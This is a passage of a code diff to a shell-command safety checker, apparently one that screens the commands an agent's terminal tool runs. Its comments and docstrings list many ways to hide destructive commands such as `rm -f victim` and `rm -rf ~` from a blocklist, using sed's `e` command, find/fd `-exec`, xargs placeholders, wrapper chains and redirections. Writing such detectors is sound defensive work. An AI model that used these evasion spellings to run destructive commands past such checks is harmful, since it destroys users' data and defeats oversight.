in text: + return frozenset() + states = _shell_quote_states(text) + masked = "".join( + _QUOTED_EXPANSION_MARK + if char in _EXPANSION_CHARS and states[index] and states[index] != '"' + else char + for index, char in enumerate(text) + ) + try: + lexer = shlex.shlex(masked, posix = True, punctuation_chars = punctuation) + lexer.whitespace_split = True + marked = list(lexer) + except ValueError: + return frozenset() + if len(marked) != len(tokens): + return frozenset() + return frozenset( + index + for index, token in enumerate(marked) + if any(char in _EXPANSION_CHARS for char in token) + ) + + +def _unquoted_glob_indexes(text: str, tokens: "list[str]", punctuation: str) -> "frozenset[int]": + """Indexes of ``tokens`` holding a pathname-expansion metacharacter the shell + will EXPAND, rather than one the quoting made literal. + + bash expands after this scan, so a word it rewrites is not the word the + command receives: in a directory holding a file named `1e rm -f victim`, + `sed *` hands sed that filename as its script and really runs rm. The quoted + spellings a sed program uses must stay readable (`sed 's/a*/b/' f` expands + nothing). Told apart by masking and re-lexing, as in + _quoted_separator_indexes. + """ + if not any(char in _GLOB_CHARS for char in text) or _QUOTED_GLOB_MARK in text: + return frozenset() + states = _shell_quote_states(text) + masked = "".join( + _QUOTED_GLOB_MARK if char in _GLOB_CHARS and states[index] else char + for index, char in enumerate(text) + ) + try: + lexer = shlex.shlex(masked, posix = True, punctuation_chars = punctuation) + lexer.whitespace_split = True + marked = list(lexer) + except ValueError: + return frozenset() + if len(marked) != len(tokens): + return frozenset() + return frozenset( + index for index, token in enumerate(marked) if any(char in _GLOB_CHARS for char in token) + ) + + +def _xargs_replacement(tokens: "list[str]", start: int, end: int) -> str: + """The placeholder the xargs word at ``start`` substitutes into the command + words behind it, or "" when it replaces nothing. GNU xargs takes it attached + (`-I{}`), as the next word (`-I {}`) or after an `=` (`--replace={}`); `-i` + and a bare `--replace` default to `{}`.""" + index = start + 1 + while index < end: + token = tokens[index] + name, sep, value = token.partition("=") + if name in {"--replace", "--replace-str"}: + return value if sep and value else "{}" + if token.startswith("-I"): + if len(token) > 2: + return token[2:] + return tokens[index + 1] if index + 1 < end else "{}" + if token.startswith("-i") and len(token.rstrip()) >= 2: + return token[2:] or "{}" + index += 1 + return "" + + +def _xargs_hides_sed_program(tokens: "list[str]", xargs: int, sed: int, program: str) -> bool: + """Whether an xargs is the one deciding what program its sed runs. + + xargs appends the words it reads on stdin, and with -I substitutes them into + the words already there, so the program need not be in the command TEXT at + all. Both of these run rm for real, one holding no program and the other only + the placeholder, so the sed fails closed: + printf '1e rm -f victim\\0input\\0' | xargs -0 sed + printf '1e rm -f victim\\n' | xargs -I{} sed '{}' input + The ordinary idioms are untouched, since their program is right there and the + placeholder stands where the FILE goes: + find . -name '*.py' | xargs sed -i 's/a/b/g' + find . -name '*.py' | xargs -I{} sed -i 's/a/b/' {} + """ + if not program.strip(): + return True + placeholder = _xargs_replacement(tokens, xargs, sed) + return bool(placeholder) and placeholder in program + + +def _sed_program_is_a_placeholder(program: str) -> bool: + """Whether the whole sed program is a token another tool REWRITES before sed + starts. find replaces `{}` with the pathname it found, so with a file named + `1e rm -f victim` the line + `printf 'input' | find '1e rm -f victim' -exec xargs sed {} +` really runs rm + while `{}` read as an already-known program. A `{}` among the FILE operands + (`find . -exec sed -i 's/a/b/' {} +`) is not the program and is untouched.""" + return program.strip() == "{}" + + +def _forwards_exec_flags(base: str) -> bool: + """Whether a command word runs a tool whose `-exec` / `-x` options hand the + words behind them to a child command. Exact names, plus any command-position + GLOB that could expand to one, so `/usr/bin/fin[d] . -exec rm {} \\;` is not + read as an ordinary word.""" + if base in _EXEC_FLAG_FORWARDING_COMMANDS: + return True + return _is_unresolved_command_glob(base) and any( + fnmatch.fnmatchcase(name, base) for name in _EXEC_FLAG_FORWARDING_COMMANDS + ) + + +def _exec_scan_layout( + tokens: "list[str]", + quoted: "frozenset[int]", + quoted_redirects: "frozenset[int]" = frozenset(), +) -> "tuple[frozenset[int], frozenset[int], frozenset[int]]": + """``(exec-flag indexes, invocation-stop indexes, redirection indexes)`` for + one token list, in a single left-to-right pass. + + An exec-flag index is a `find`/`fd` option whose following words are a + COMMAND that tool runs. Recognised only while a find/fd word the shell + really RUNS is in scope: those letters belong to too many other tools, so + `grep -x rm file` and the grep `-x` in `find . -exec grep -x rm {} \\;` must + not have rm hard-blocked. + + A stop index ends a sed invocation: a separator the shell PERFORMS, or the + `;` / `{} +` closing an open exec action. Outside an action those are + ordinary operands, which keeps `sed -n ';' -e '1e rm -f victim' input` + readable while a real terminator still stops the scan. + + A redirection index is a word the shell consumes and never hands to the + command. Taken FIRST, so the `&` in `sed 2>&1 '1e rm -f victim' input` reads + as part of that redirection rather than as the end of the invocation. + """ + exec_flags: "set[int]" = set() + stops: "set[int]" = set() + redirects: "set[int]" = set() + forwarding = False # a find/fd command word is in scope + in_action = False # inside its `-exec CMD ...` action + at_command = True # the next ordinary word is one the shell RUNS + wrapper = "" # a command prefix (env/timeout/sudo) awaiting that word + skip_operand = False # ...and its option's value stands in between + index = 0 + while index < len(tokens): + token = tokens[index] + span = _redirection_span(tokens, index, quoted, quoted_redirects) + if span: + redirects.update(span) + index = span[-1] + 1 + continue + here = index + index += 1 + if _looks_like_separator(token) and here not in quoted: + stops.add(here) + forwarding = in_action = False + at_command = True + wrapper = "" + skip_operand = False + continue + if in_action and ( + token in _FIND_EXEC_SEMICOLONS or (token == "+" and here and tokens[here - 1] == "{}") + ): + # find ends the batched form at `{} +` only: a `+` anywhere else is + # an ordinary argument it hands the child, so + # `find . -exec sed -n '+' -e '1e touch MARKER' {} +` really runs the + # payload. The `;` forms need no such test: a quoted `';'` and an + # escaped `\\;` reach find as the same word and both terminate. + stops.add(here) + in_action = False + continue + if forwarding and token == "--" and not in_action: + # Nothing behind fd's `--` is an option: `fd -- -x rm` merely lists + # `rm/-x` and was being refused. + forwarding = False + at_command = False + continue + flag = token.split("=", 1)[0] + if forwarding and ( + flag in _FIND_EXEC_FLAGS or (not in_action and flag in _EXEC_FORWARD_FLAGS) + ): + exec_flags.add(here) + in_action = True + continue + if forwarding and not in_action and token[:2] in {"-x", "-X"} and len(token) > 2: + # fd takes the command attached to the short option too: + # `fd '^victim$' . -xrm` deletes the match for real (fdfind 9.0.0). + exec_flags.add(here) + in_action = True + continue + if at_command and token in _SHELL_KEYWORDS_AS_SEP: + continue # `then find ...` / `do find ...`: still a command position + if skip_operand: + skip_operand = False # a wrapper option's value (env -u NAME) + continue + if token.startswith("-") or _ASSIGNMENT_RE.match(token): + # A wrapper option whose value is a SEPARATE token precedes that + # value and not the wrapped command, so `env -u FOO find ...` keeps + # looking for find rather than stopping at FOO. + skip_operand = token in _WRAPPER_VALUE_FLAGS_BY_CMD.get(wrapper, frozenset()) + continue + if wrapper and token.lstrip("-").isdigit(): + continue # `timeout 5 find ...`: the wrapper's own operand + base = os.path.basename(token.strip(";&|()`{}")).lower() + if at_command and base in _COMMAND_PREFIXES: + wrapper = base + continue + if at_command and _forwards_exec_flags(base): + # Only a find/fd the shell really RUNS forwards its exec flags. Any + # token spelled `fd`/`find` used to turn one on, so `echo fd -x rm` + # and `grep fd -x rm file` came back with rm and were refused. + forwarding = True + at_command = False + wrapper = "" + return frozenset(exec_flags), frozenset(stops), frozenset(redirects) + + def _find_blocked_commands(command: str) -> set[str]: """Detect blocked commands at shell command position only. @@ -309,6 +1350,7 @@ def _find_blocked_commands(command: str) -> set[str]: # punctuation_chars splits separators into their own tokens, so command # position is detected even in `echo done; rm -rf x` (no whitespace). + lexed_posix = sys.platform != "win32" try: if sys.platform == "win32": tokens = shlex.split(command, posix = False) @@ -318,6 +1360,23 @@ def _find_blocked_commands(command: str) -> set[str]: tokens = list(lexer) except ValueError: tokens = command.split() + lexed_posix = False + # Which separator tokens the shell only produced because the quoting was + # stripped. The non-posix (Windows) lexer KEEPS the quote marks, so a quoted + # `';'` never looks like a separator there and nothing has to be recovered; + # the split() fallback has no quoting model at all, so it reports nothing + # either and both platforms reach the same verdict. + quoted_separators = ( + _quoted_separator_indexes(command, tokens, ";&|()`") if lexed_posix else frozenset() + ) + quoted_redirects = ( + _quoted_redirection_indexes(command, tokens, ";&|()`") if lexed_posix else frozenset() + ) + exec_flag_indexes, invocation_stops, redirect_indexes = _exec_scan_layout( + tokens, quoted_separators, quoted_redirects + ) + # Built only when a sed is actually reached, since it costs a second lex. + glob_indexes: "frozenset[int] | None" = None def _token_basename(tok: str) -> str: # Strip glued-on meta-chars (`rm;`) so the basename still matches `rm`. @@ -328,10 +1387,60 @@ def _find_blocked_commands(command: str) -> set[str]: base = stem return base + def _exec_child_index(start: int) -> "tuple[int, bool]": + """The command a `find -exec` actually runs, as ``(index, overflowed)``; + the index is -1 when the action holds no command word at all. + + Command prefixes forward to their target, so `-exec env sed ...` runs + sed. Wrapper flags, assignment prefixes and duration operands are + stepped over as the walk above does, and a wrapper option taking a + SEPARATE value consumes it too, else that value reads as the command + (`-exec env -u FOO sed ...` came back with `FOO`). The hop is bounded so + `-exec env -exec env ...` cannot make this quadratic. + + ``overflowed`` says the bound ran out with words still ahead. That is + NOT the same as finding nothing, and reporting both as "no child" let a + long enough chain read as safe: `-exec` + 33 `env` + `rm -f victim ;` + really deletes. The caller fails closed on it. + """ + i, steps, wrapper = start, 0, "" + while i < len(tokens) and steps < _MAX_EXEC_PREFIX_SCAN: + token = tokens[i] + if token in _SHELL_SEPARATORS or token in _FIND_EXEC_TERMINATORS: + return -1, False + steps += 1 + if wrapper and token in _WRAPPER_VALUE_FLAGS_BY_CMD.get(wrapper, frozenset()): + # `env -u NAME`, `stdbuf -o L`: the option and its operand, both + # consumed in ONE step -- the budget bounds the work done per + # -exec, and stepping over two tokens costs no more than one. + # An attached spelling (-uNAME, --unset=NAME) carries its own + # value and is skipped by the plain-option branch below. + i += 2 + continue + if wrapper and ( + token.startswith("-") or _ASSIGNMENT_RE.match(token) or token.lstrip("-").isdigit() + ): + # `env -i`, `env A=b`, `timeout 5`: the wrapper's own argument. + i += 1 + continue + base = _token_basename(token) + if base in _COMMAND_PREFIXES: + wrapper = base + i += 1 + continue + return i, False + # Walking off the end means the action really held nothing; stopping on + # the bound with words still ahead means the child is merely UNREAD. + return -1, steps >= _MAX_EXEC_PREFIX_SCAN and i < len(tokens) + expect_command = True # start of string is a command position prefix_pending = False # last cmd-position token was a wrapper (env/time/xargs/...) + prefix_command = "" # which wrapper that was, for its own value-taking options skip_operand = False # consume a wrapper/conditional operand, not the command - for token in tokens: + sed_indexes: "list[int]" = [] # command-position sed words, for the `e` scan below + sed_xargs: "dict[int, int]" = {} # sed word -> the xargs that builds its argv + xargs_index = -1 # an xargs awaiting the command it wraps + for token_index, token in enumerate(tokens): if skip_operand: # `exec -a NAME cmd` and `if exist FILE cmd` both put an operand # where the command word would otherwise be. @@ -343,12 +1452,37 @@ def _find_blocked_commands(command: str) -> set[str]: if prefix_pending and token == "-a": skip_operand = True continue + if token_index in redirect_indexes: + # The shell performs the redirection and hands the command neither + # word, so command position is unchanged by it: `> out.txt rm -rf + # victim` and `2>&1 rm -rf victim` both really delete, while reading + # `out.txt` (and the `1`) as the command word left the `rm` behind + # it in argument position and the blocklist came back empty. + continue # A keyword only separates where a COMMAND may start (see below). - if token in _SHELL_SEPARATORS or (token in _SHELL_KEYWORDS_AS_SEP and expect_command): + # A quoted operator is DATA the command receives, not a separator, so it + # leaves command position alone: `printf '%s' '|&' rm` and + # `grep '|&' rm file` run nothing and must not be refused. + if (_looks_like_separator(token) and token_index not in quoted_separators) or ( + token in _SHELL_KEYWORDS_AS_SEP and expect_command + ): expect_command = True prefix_pending = False + prefix_command = "" + xargs_index = -1 continue if token.startswith("-"): + # A wrapper option whose value is a SEPARATE token precedes that + # value, not the wrapped command. Without consuming it the value is + # read as the command word and the real command behind it is never + # reached: `env -u PATH rm -rf x` and `xargs -I {} rm -rf build` + # both came back empty. An attached spelling (-uPATH, --unset=PATH) + # carries its own value and falls through to the plain-flag case. + if prefix_pending and token in _WRAPPER_VALUE_FLAGS_BY_CMD.get( + prefix_command, frozenset() + ): + skip_operand = True + continue # Flags belong to the active command, but keep expect_command while a # wrapper prefix awaits its command (`stdbuf -oL cmd`, `xargs -- cmd`). if not prefix_pending: @@ -366,6 +1500,10 @@ def _find_blocked_commands(command: str) -> set[str]: if prefix_pending and token.lstrip("-").isdigit(): continue base = _token_basename(token) + if _is_sed_command(base): + sed_indexes.append(token_index) + if xargs_index >= 0: + sed_xargs[token_index] = xargs_index if base in _BLOCKED_COMMANDS: blocked.add(base) else: @@ -373,10 +1511,15 @@ def _find_blocked_commands(command: str) -> set[str]: # Wrappers (env/time/xargs/sudo) consume one command; the next non-flag, # non-numeric token is the real command. sudo is also in _BLOCKED_COMMANDS. if base in _COMMAND_PREFIXES: + if base == "xargs" and xargs_index < 0: + xargs_index = token_index prefix_pending = True + prefix_command = base continue expect_command = False prefix_pending = False + prefix_command = "" + xargs_index = -1 # `alias zap='rm -rf'` stores a command bash runs when the alias is invoked, # so the body is scanned as a command in its own right. @@ -390,25 +1533,59 @@ def _find_blocked_commands(command: str) -> set[str]: if _sep and _value: blocked |= _find_blocked_commands(_value) - # `find ... -exec CMD ... ;` and `-execdir CMD ... ;` invoke CMD directly. + # `find ... -exec CMD ... ;`, `-execdir CMD ... ;` and fd's `-x` / `-X` / + # `--exec` / `--exec-batch` all invoke CMD directly (_exec_scan_layout picks + # which spellings count where). Reading only find's own flags left every fd + # form unscanned, so `fd -x rm -rf x` and `fd -x sed '1e rm -f victim' {}` + # -- both verified to run -- reached the hard blocklist as nothing at all. for i, tok in enumerate(tokens): - # The long flags carry the command attached (fd --exec=rm). Only the long - # spellings: a short `-x` belongs to too many other utilities (grep -x rm - # file) to read its neighbour as a command. - if "=" in tok and tok.split("=", 1)[0] in _ATTACHED_EXEC_FLAGS: + # The long flags also carry the command attached (fd --exec=rm), where + # the value is command position rather than a discarded option argument. + attached = "" + if tok[:2] in {"-x", "-X"} and len(tok) > 2 and i in exec_flag_indexes: + # fd takes the command attached to the short option (`fd ... -xrm`), + # where the value is command position rather than an option argument. + attached = tok[2:].strip("\"'") + elif "=" in tok and tok.split("=", 1)[0] in _ATTACHED_EXEC_FLAGS: attached = tok.split("=", 1)[1].strip("\"'") - if attached: - attached_base = _token_basename(attached.split()[0]) - if attached_base in _BLOCKED_COMMANDS: - blocked.add(attached_base) - else: - blocked |= _blocked_matching_glob(attached_base) - if tok in _FIND_EXEC_FLAGS and i + 1 < len(tokens): - base = _token_basename(tokens[i + 1]) - if base in _BLOCKED_COMMANDS: - blocked.add(base) + if attached: + attached_base = _token_basename(attached.split()[0]) + if _is_sed_command(attached_base): + # The words after the flag are that sed's arguments, so its + # program is screened from the FLAG. fd 9 actually takes them + # as search paths and runs nothing, so this only ever blocks + # a command that could not have worked anyway; a spelling + # that does forward them would otherwise be a free pass. + sed_indexes.append(i) + if attached_base in _BLOCKED_COMMANDS: + blocked.add(attached_base) else: - blocked |= _blocked_matching_glob(base) + blocked |= _blocked_matching_glob(attached_base) + if i in exec_flag_indexes and i + 1 < len(tokens): + # The word right after the flag AND the command it forwards to: a + # wrapper is a command in its own right (`-exec sudo ls`) as well as + # a step on the way to another one (`-exec env rm -rf x`), so + # dropping either half loses a real detection. + child, prefix_overflowed = _exec_child_index(i + 1) + if prefix_overflowed: + # The wrapper chain outran the hop budget, so the command that + # finally runs was never reached: block the chain itself rather + # than let `-exec env ...x33 rm -f victim ;` ride in behind it. + blocked.add(_token_basename(tokens[i + 1])) + continue + exec_words = [i + 1] if child in (-1, i + 1) else [i + 1, child] + for word in exec_words: + base = _token_basename(tokens[word]) + if _is_sed_command(base): + # find runs its -exec child directly, but the walk above only + # reaches `find`, so a sed there never got its program + # screened (`find . -exec sed '1e rm -f victim' {} +`, and + # behind a wrapper `find . -exec env sed '1e ...' {} +`). + sed_indexes.append(word) + if base in _BLOCKED_COMMANDS: + blocked.add(base) + else: + blocked |= _blocked_matching_glob(base) # Regex catches blocked words at command boundaries shlex misses: inside # $(rm -rf), <(rm), backtick chains, or "foo;rm". Anchored to command-position @@ -452,6 +1629,60 @@ def _find_blocked_commands(command: str) -> set[str]: blocked |= _find_blocked_commands(tokens[i + 1]) break # stop at first non-flag token + # sed's `e COMMAND` hands COMMAND to the shell, a real command position the + # scan above sees only as a text argument, so screen it like `bash -c`. The + # pattern-space forms yield an empty payload; the auto gate prompts on those. + sed_limit = _sed_scan_limit(len(sed_indexes)) + # Built at most once per call, and only when some program actually names a + # variable, so a line packed with sed words stays linear. + sed_vars: "dict[str, str] | None" = None + sed_bindings: "list[tuple[int, str, str | None]] | None" = None + sed_cursor = 0 + # Visited left to right so the binding cursor below only moves forward. + for i in sorted(set(sed_indexes)): + # A script --sandbox / --posix stops sed compiling is already left out of + # the program (_sed_invocation), so a name inside one is never blocked. + if glob_indexes is None: + glob_indexes = ( + _unquoted_glob_indexes(command, tokens, ";&|()`") if lexed_posix else frozenset() + ) + alternatives, scan_overflowed, _live = _sed_invocation( + tokens, i, sed_limit, invocation_stops, redirect_indexes, glob_indexes + ) + program = "\n".join(alternatives) + if scan_overflowed: + # The script sits past the scan window, so an empty program here is + # only ignorance: block the sed itself rather than let an + # `e rm -rf ~` ride in behind enough padding options. + blocked.add(_token_basename(tokens[i])) + continue + if _sed_program_is_a_placeholder(program): + # find rewrites `{}` before the child starts, so this is not a + # program that was read (see _sed_program_is_a_placeholder). + blocked.add(_token_basename(tokens[i])) + continue + if i in sed_xargs and _xargs_hides_sed_program(tokens, sed_xargs[i], i, program): + # The program comes off stdin or out of an -I placeholder, so it is + # not in the text to read at all (see _xargs_hides_sed_program). + blocked.add(_token_basename(tokens[i])) + continue + if "$" in program: + # A program held in a variable (p='...e rm -f victim'; sed "$p" f) + # only shows its `e` once the reference is resolved. shlex kept the + # quoted value whole, newlines and all, so the binding is exact. + # Only the assignments AHEAD of this sed are in scope, and the last + # of them wins, which is the pair that `p='1,3p'; + # p='1e rm -f victim'; sed "$p" input` turns on. + if sed_bindings is None: + sed_bindings = _assignment_bindings(tokens, quoted_separators) + sed_vars = {} + sed_cursor = _bindings_before(sed_bindings, sed_cursor, i, sed_vars) + for alternative in alternatives: + for variant in _sed_program_variants(alternative, sed_vars or {}): + for payload in _sed_exec_payloads(variant): + if payload: + blocked |= _find_blocked_commands(payload) + return blocked @@ -1574,6 +2805,11 @@ def _expand_param_defaults(command: str) -> str: # that tokenize the decoded text neutralize these first, otherwise # `printf '%s' $'a\\nrm -rf x'` reads as two commands and the printf is refused. _ANSI_C_SEPARATOR_RE = re.compile(r"[\s;&|()<>`]") +# A newline revealed by ANSI-C decoding, and the mark standing in for it. Any +# character shlex leaves inside a quoted word serves, as long as the boundary +# regex in _find_blocked_commands does not read it as the start of a command. +_ANSI_C_NEWLINE_MARK = "\x03" +_ANSI_C_NEWLINE_RE = re.compile(r"[\n\r]") def _folded_str_literal(node) -> "str | None": @@ -1610,7 +2846,20 @@ def _decode_ansi_c(command: str, *, keep_one_word: bool = False) -> str: text = bytes(m.group(1), "utf-8").decode("unicode_escape") except (UnicodeDecodeError, ValueError): return m.group(0) - return _ANSI_C_SEPARATOR_RE.sub("_", text) if keep_one_word else text + if not keep_one_word: + return text + if _ANSI_C_NEWLINE_MARK not in text: + # Re-quote rather than flatten: bash gives the command ONE word + # however much whitespace the decoding reveals, and a sed program + # ends its COMMENT at a newline, so the spaces and the `#` around it + # all carry meaning. An apostrophe is re-quoted `'\''` for the same + # reason. The newline stands as a MARK because it is data for the + # command bash starts, not a place a new one begins, and the + # boundary regex below would read a bare one as the latter; + # _sed_invocation puts it back where its meaning matters. + body = _ANSI_C_NEWLINE_RE.sub(_ANSI_C_NEWLINE_MARK, text) + return "'" + body.replace("'", "'\\''") + "'" + return _ANSI_C_SEPARATOR_RE.sub("_", text) return _ANSI_C_RE.sub(dec, command) @@ -3453,42 +4702,6 @@ _ARRAY_EXPANSION_RE = re.compile(r"\$\{\w+\[[@*]\]\}") # A wrapper's bare duration/count argument (timeout 5 rm, timeout 1.5s rm) that # precedes the real command, so it is not mistaken for the command itself. _WRAPPER_DURATION_RE = re.compile(r"\d+(?:\.\d+)?[smhd]?$") -# Wrapper options whose VALUE is a separate token (env -u NAME, nice -n 5). -# Without consuming the value it is mistaken for the wrapped command, so -# `env -u FOO rm -rf x` reads as the command `FOO` and the real `rm` is missed. -_WRAPPER_VALUE_FLAGS_BY_CMD = { - # env -i/--ignore-environment is VALUELESS; only -u/--unset takes a name. - "env": frozenset({"-u", "--unset"}), - "stdbuf": frozenset({"-i", "--input", "-o", "--output", "-e", "--error"}), - "timeout": frozenset({"-s", "--signal", "-k", "--kill-after"}), - "nice": frozenset({"-n", "--adjustment"}), - "ionice": frozenset({"-c", "--class", "-n", "--classdata", "-p", "--pid"}), - "xargs": frozenset( - {"-I", "-L", "-P", "-d", "--delimiter", "-a", "--arg-file", "-n", "-s", "-E"} - ), - "chroot": frozenset({"--userspec", "--groups"}), - # setpriv : only the value-taking options consume a token. - "setpriv": frozenset( - { - "--reuid", - "--regid", - "--groups", - "--inh-caps", - "--ambient-caps", - "--bounding-set", - "--securebits", - "--pdeathsig", - "--selinux-label", - "--apparmor-profile", - "--landlock-access", - "--landlock-rule", - } - ), - # exec -a NAME runs cmd under NAME, so NAME is a value, not the command. - "exec": frozenset({"-a"}), - "setsid": frozenset(), - "nohup": frozenset(), -} # Non-shell interpreters running an inline program (python -c, node -e, php -r): # the terminal path never screens that program the way the python tool does. # sh/bash -c are omitted, the hard-block already recurses into their payloads. @@ -3606,6 +4819,232 @@ def _short_flag_arg(token: str, letters: str) -> "str | None": return None +def _shell_quote_states(command: str) -> "list[str]": + """The quote context of every character: ``""`` outside quoting, ``"'"`` + (or ``"$'"`` for ANSI-C, which honours backslash escapes) inside single + quoting, ``'"'`` inside double quoting, and ``_ESCAPED_CHAR_STATE`` for a + backslash and the character it quotes. A quote mark itself reports the + context it opens from, so a character is text bash expands exactly when its + state is ``""`` or ``'"'``. + + Tracked character by character rather than paired off with a regex, because + a regex matches the apostrophe in `echo "it's"` against the next quote, + inverting the state for everything after it. + """ + states: "list[str]" = [] + quote = "" + i, n = 0, len(command) + while i < n: + ch = command[i] + if quote in ("'", "$'"): + # A plain single quote protects even backslashes; ANSI-C does not, + # so `\'` there is a quote character rather than the end of the word. + if quote == "$'" and ch == "\\" and i + 1 < n: + states += [quote, quote] + i += 2 + continue + states.append(quote) + if ch == "'": + quote = "" + i += 1 + continue + if ch == "\\" and i + 1 < n: + # Reported under its OWN state rather than the surrounding one: + # marking `\$` as ordinary double-quoted text made `$(` there look + # like a live substitution, so an everyday `sed "s/\$(CC)/gcc/" + # Makefile` asked for confirmation while real bash hands sed a + # literal `$(CC)` and nothing runs (verified: it prints CC=cc). + states += [_ESCAPED_CHAR_STATE, _ESCAPED_CHAR_STATE] + i += 2 + continue + states.append(quote) + if quote == '"': + # Only the closing quote ends it; an apostrophe here is text. + if ch == '"': + quote = "" + elif ch == "'": + quote = "$'" if i and command[i - 1] == "$" else "'" + elif ch == '"': + quote = '"' + i += 1 + return states + + +def _substitution_span(command: str, start: int) -> int: + """Index just past the `)` that closes the `$(` at ``start``. + + The body of a substitution is a FRESH shell context -- bash re-parses it, so + quoting reopens inside even when the whole thing sits in double quotes -- + and a paren the body QUOTES is text, not nesting. Counting it raised the + depth, the real `)` then never brought the depth back to zero, and the span + ran on past the end of the word: `sed "$(printf '(' >/dev/null; printf 'e + rm -f victim')" input` yielded a span with ` input` glued on, which no + longer matched the sed program it had to be found inside, so the generated + script went unnoticed. + + _shell_quote_states is a left-to-right machine, so the states it reports for + a prefix are the ones it reports for the whole string; the window is grown + until the span closes, which keeps the cost a constant multiple of the + substitution's own length rather than a walk to the end of the line for + every one of them. + """ + n = len(command) + width = _SUBSTITUTION_SPAN_STEP + while True: + stop = min(n, start + 1 + width) + body = command[start + 1 : stop] + depth = 0 + for offset, state in enumerate(_shell_quote_states(body)): + if state: + continue # quoted: data to the nested shell, not a delimiter + char = body[offset] + if char == "(": + depth += 1 + elif char == ")": + depth -= 1 + if depth == 0: + return start + 2 + offset + if stop >= n: + return n + width *= 4 + + +def _arithmetic_span(command: str, start: int) -> int: + """Index just past the `))` / `]` closing the arithmetic expansion at + ``start`` -- `$((...))`, or the deprecated `$[...]` bash 5.2 still + evaluates (`echo $[1+2]` prints 3).""" + opener = command[start + 1] + closer = ")" if opener == "(" else "]" + depth, i, n = 0, start + 1, len(command) + while i < n: + if command[i] == opener: + depth += 1 + elif command[i] == closer: + depth -= 1 + if depth == 0: + return i + 1 + i += 1 + return n + + +def _brace_param_span(command: str, start: int) -> int: + """Index just past the `}` closing the `${` at ``start``. Braces nest + (`${a:-${b}}`) and a backslash quotes the one behind it.""" + depth, i, n = 0, start + 1, len(command) + while i < n: + if command[i] == "\\": + i += 2 + continue + if command[i] == "{": + depth += 1 + elif command[i] == "}": + depth -= 1 + if depth == 0: + return i + 1 + i += 1 + return n + + +def _collapse_shell_arithmetic(program: str) -> str: + """``program`` with each arithmetic expansion replaced by a digit + (_ARITHMETIC_VALUE), which is a faithful stand-in because arithmetic always + evaluates to an integer. + + Without it the expansion's own punctuation is read as sed source and hides + the command behind it: `sed "$((c+1))e rm -f victim"` runs rm for real + (`$((c+1))` is 1), while the raw text takes the `c` for an append-text + command and swallows the payload as its operand. An expansion holding a + COMMAND substitution is left alone, so the substitution stays visible to + _sed_program_unresolved rather than being collapsed out of sight. + """ + out: "list[str]" = [] + i, n = 0, len(program) + while i < n: + if program.startswith("$((", i) or program.startswith("$[", i): + end = _arithmetic_span(program, i) + if not _HAS_COMMAND_SUBST_RE.search(program[i:end]): + out.append(_ARITHMETIC_VALUE) + i = end + continue + out.append(program[i]) + i += 1 + return "".join(out) + + +def _shell_expansions(command: str, quoted: bool = True) -> "list[str]": + """Every expansion bash performs, as the exact text each one occupies: + `$(...)`, backticks, `${...}` in ANY form and a bare `$NAME` / `$?`. + + With ``quoted`` (the default) the text is a whole command line, so a + single-quoted or backslash-escaped expansion is literal and reported as + nothing -- ``sed 's/`//g' NOTES.md`` and `sed "s/\\$(CC)/gcc/" Makefile` + both yield an empty list. With ``quoted`` False the text is a token shlex + has already unquoted, where every character counts; comparing the two tells + an expansion the shell RUNS from one a sed program merely quotes. + + ARITHMETIC is skipped: it evaluates to an integer, so it can spell no sed + command (_ARITHMETIC_VALUE). One holding a command substitution is stepped + INTO instead, so the substitution inside `sed "$(( $(cat n) ))p"` is still + reported. + """ + found: "list[str]" = [] + states = _shell_quote_states(command) if quoted else None + i, n = 0, len(command) + while i < n: + if states is not None and states[i] not in ("", '"'): + i += 1 + continue + if command[i] == "`": + end = command.find("`", i + 1) + end = n if end < 0 else end + 1 + found.append(command[i:end]) + i = end + continue + if command.startswith("$((", i) or command.startswith("$[", i): + end = _arithmetic_span(command, i) + # Stepping over the `$` alone would report the arithmetic's own + # `(name)` as a substitution; stepping over the whole span would + # hide a `$(...)` nested inside it. Do each where it applies. + i = i + 2 if _HAS_COMMAND_SUBST_RE.search(command[i:end]) else end + continue + if command.startswith("$(", i): + end = _substitution_span(command, i) + found.append(command[i:end]) + i = end + continue + if command.startswith("${", i): + end = _brace_param_span(command, i) + found.append(command[i:end]) + i = end + continue + match = _UNBRACED_PARAM_RE.match(command, i) + if match: + found.append(match.group(0)) + i = match.end() + continue + i += 1 + return found + + +def _separate_unquoted_newlines(text: str) -> str: + """``text`` with each UNQUOTED newline replaced by `;`, which shlex reads as + a command boundary. A newline inside quotes is DATA -- a sed comment ends at + one -- so it survives, unlike a blanket replacement. A BACKSLASH-escaped + newline is a line continuation bash deletes rather than a separator, so it + survives too; the blanket pass still supplies that boundary if one is + wanted, since it replaces every newline unconditionally.""" + states = _shell_quote_states(text) + out = [] + for i, ch in enumerate(text): + if ch in "\r\n" and states[i] == "": + # \r\n is one boundary, not two. + if not (ch == "\n" and i and text[i - 1] == "\r"): + out.append(";") + else: + out.append(ch) + return "".join(out) + + # git subcommands that discard or overwrite work: `clean` deletes untracked files, # `restore` overwrites the worktree from the index/HEAD, `rm` deletes tracked # files, and the plumbing entries delete refs/reflogs/objects or rewrite history. @@ -3931,12 +5370,26 @@ def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool: return True # Newlines separate commands in a shell but read as whitespace to shlex, and # ANSI-C quoting ($'rm') hides the real command name. - normalized = ( - _decode_ansi_c(command, keep_one_word = True) - .replace("\r\n", ";") - .replace("\n", ";") - .replace("\r", ";") + decoded = _decode_ansi_c(command, keep_one_word = True) + normalized = decoded.replace("\r\n", ";").replace("\n", ";").replace("\r", ";") + # Identical to the blanket form unless a newline is actually present, so the + # usual single-line command never pays for the quote walk. + quoted_newlines_kept = ( + _separate_unquoted_newlines(decoded) if "\n" in decoded or "\r" in decoded else normalized ) + # Matched against a sed program below to tell an expansion the shell RUNS + # from one the program merely quotes. Held in both newline forms so the + # match works whichever pass produced the tokens. + live_expansions: "set[str]" = set() + if "$" in command or "`" in command: + live_expansions = { + form + for expansion in _shell_expansions(command) + for form in ( + expansion, + expansion.replace("\r\n", ";").replace("\n", ";").replace("\r", ";"), + ) + } # A verb hidden behind an assignment (c=rm; $c x) or a default parameter # (${c:-rm}) is expanded so the resolved token is scanned too. expanded = _expand_shell_assignments(_expand_param_defaults(normalized)) @@ -3960,7 +5413,15 @@ def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool: # the check above misses it. A benign array print is untouched. if _ARRAY_EXPANSION_RE.search(command) and _VAR_EXECUTED_AS_COMMAND_RE.search(command): return True - for text in {normalized, expanded}: + # A newline inside a QUOTED argument is data, not a separator, and turning + # it into `;` rewrites that data: a sed comment ends at a real newline, so + # `sed '# notee CMD'` reads as one long comment once the newline is + # gone. So a pass that only separates the UNQUOTED ones is 